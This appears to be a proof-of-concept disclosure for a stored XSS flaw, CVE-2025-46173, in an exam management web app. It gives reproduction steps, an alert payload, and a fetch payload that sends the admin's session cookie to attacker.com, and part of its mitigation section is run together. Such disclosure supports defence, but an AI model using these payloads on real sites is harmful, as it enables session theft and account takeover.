
poc for the CVE-2025-46173
CVE-2025-46173 is a stored Cross-Site Scripting (XSS) vulnerability discovered in the Online Exam Mastering System 1.0 by code-projects. The vulnerability exists in the feedback.php component where user input in the name field is not properly sanitized, allowing a malicious actor to inject arbitrary JavaScript. When an administrator views this feedback in the admin dashboard (dash.php), the payload gets executed in the admin’s browser, leading to session hijacking and potential privilege escalation.
feedback.php, dash.phpA user submits the following payload into the Name field in the feedback form:
<script>alert(document.cookie)</script>

When the admin later views the submitted feedback in dash.php, the payload executes:

The admin's session cookie is exposed through document.cookie, which can be exfiltrated:
<script>
fetch("http://attacker.com/steal?cookie=" + document.cookie);
</script>
Clone or set up the vulnerable version from code-projects.
Navigate to localhost/exam/feedback.php.
Fill the "Name" field with:
<script>alert(document.cookie)</script>
Submit the form.
Log in as an admin and visit dash.php?q=3 to view the feedback.
The script will execute in the admin's context.
Successful exploitation allows a remote attacker to:
&, <, >, ").htmlspecialchars() or a frontend validation + backend sanitization combination.Pruthu Raut LinkedIn | TryHackMe Top 2% | GitHub
Screenshots are for educational purposes only. All testing was done in a local environment.
Click here to watch the demo video
This information is provided for educational and research purposes only. Do not use it on systems you do not own or have explicit permission to test.